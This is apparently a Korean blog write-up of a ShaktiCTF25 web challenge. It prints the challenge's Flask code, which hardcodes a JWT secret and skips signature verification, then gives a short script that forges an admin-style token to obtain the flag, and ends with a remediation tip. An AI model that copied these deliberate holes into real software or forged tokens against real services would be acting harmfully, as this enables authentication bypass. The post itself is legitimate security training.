728x90
반응형
개요
jwt를 이용한 인증의 취약점을 찾으면 되는 문제다.
기능 분석
처음 문제 사이트에 들어가면 위와 같은 화면을 볼 수 있다. username을 입력하면 `Nah, you ain't hooman`이라는 문자열이 출력된다. 코드와 함께 찾아보자.
from flask import Flask, request, redirect, render_template, make_response
import jwt
app = Flask(__name__)
SECRET_KEY = 'Youcanneverhavethis'
@app.route('/login', methods=['POST', 'GET'])
def login():
error = None
if request.method == 'POST':
data = request.json if request.is_json else request.form
username = data.get('username')
if not username:
error = 'Username required'
return render_template('login.html', error=error)
token = jwt.encode({'username': username, 'are_you_hooman': False}, SECRET_KEY, algorithm='HS256')
resp = make_response(redirect('/login'))
resp.set_cookie('token', token)
return resp
else:
token = request.cookies.get('token')
if token:
try:
decoded = jwt.decode(token, key=None,options={"verify_signature": False})
if decoded.get('are_you_hooman'):
return redirect('/hooman')
error = "Nah, you ain't hooman T^T"
except jwt.InvalidTokenError:
error = "Invalid token"
return render_template('login.html', error=error)
@app.route('/hooman')
def hooman():
token = request.cookies.get('token')
if not token:
return 'No token provided', 401
try:
decoded = jwt.decode(token, key=None,options={"verify_signature": False})
if decoded.get('are_you_hooman'):
return '''
<html>
<head><title>Hooman</title></head>
<body style="background-color: #333; color: #f0f0f0; font-family: Arial; display: flex; justify-content: center; align-items: center; height: 100vh;">
<h1>Hiii hoomann a message for ya! shaktictf{f4k3_fl4g}</h1>
</body>
</html>
'''
return 'Nah, you ain\'t hooman T^T', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)
코드를 보면 username에 입력한 값으로 jwt를 생성해준다. 그런데 are_you_hooman 필드에 대해서 False로 인코딩해서 주기 때문에 you ain't hooman이라는 문자열이 출력됐던 것이다.
익스플로잇
SECRET_KEY = 'Youcanneverhavethis'
코드에서는 다음과 같은 secret_key가 하드코딩되어 있다.
이를 바탕으로 직접 jwt를 만들어 사용할 수 있다.
import jwt
SECRET_KEY = 'Youcanneverhavethis'
username = 'user1'
token = jwt.encode({'username': username, 'are_you_hooman': True}, SECRET_KEY, algorithm='HS256')
print(f"Generated JWT token: {token}")
이렇게 생성된 토큰을 사용해 /hooman 페이지에 접근하면 flag를 얻을 수 있다.
shaktictf{now_uk_jwts_hoomannnnn}
짜잔
대응 방안
- 시크릿 키가 코드에 하드코딩 되어 있다. 이렇게 되면 깃허브에 코드를 올릴 때 위험하고 코드가 유출되게 되면 시크릿 키를 얻을 수 있다. 보다 안전하게 보관하기 위해서는 환경 변수에 저장하는 것이 바람직하다.
728x90
반응형
'분류 전 > CTF' 카테고리의 다른 글
[WHY 2025 CTF] Planets 풀이 (3) | 2025.08.14 |
---|---|
[ShaktiCTF25] brain_games 풀이 (2) | 2025.07.30 |
[ShaktiCTF25] FRIENDS 풀이 (2) | 2025.07.30 |
[DownUnderCTF 2025] rocky 풀이 (0) | 2025.07.22 |
[DownUnderCTF 2025] mini-me 풀이 (0) | 2025.07.22 |